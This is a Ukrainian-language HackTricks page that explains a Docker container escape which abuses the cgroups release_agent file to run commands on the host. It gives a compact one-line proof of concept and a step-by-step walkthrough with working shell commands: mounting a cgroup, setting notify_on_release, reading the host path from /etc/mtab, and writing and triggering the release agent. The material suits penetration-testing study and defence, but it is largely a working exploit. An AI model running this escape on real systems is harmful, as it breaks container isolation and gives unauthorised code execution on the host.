Docker release_agent cgroups escape

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Для отримання додаткових відомостей дивіться оригінальний пост у блозі. Це лише краткий огляд:

Оригінальний PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Доказ концепції (PoC) демонструє метод використання cgroups шляхом створення файлу release_agent та спровокування його виклику для виконання довільних команд на контейнерному хості. Ось розбір кроків, що включаються:

  1. Підготовка середовища:

  • Створюється каталог /tmp/cgrp для використання як точка монтування cgroup.

  • Контролер cgroup RDMA монтується до цього каталогу. У випадку відсутності контролера RDMA рекомендується використовувати контролер cgroup memory як альтернативу.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Налаштування дочірнього Cgroup:

    • В монтуємому каталозі cgroup створено дочірній cgroup з назвою "x".

    • Сповіщення увімкнені для cgroup "x", записавши 1 у файл notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Налаштування агента вивільнення:

  • Шлях контейнера на хості отримується з файлу /etc/mtab.

  • Потім файл release_agent cgroup налаштовується на виконання скрипта з назвою /cmd, розташованого за отриманим шляхом хоста.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Створення та налаштування сценарію /cmd:

  • Сценарій /cmd створюється всередині контейнера та налаштовується для виконання ps aux, перенаправляючи вивід у файл з назвою /output у контейнері. Вказується повний шлях до /output на хості.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Запуск атаки:

  • Процес запускається в дитячому cgroup "x" і негайно припиняється.

  • Це спричиняє виконання release_agent (скрипту /cmd), який виконує ps aux на хості та записує вивід до /output всередині контейнера.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated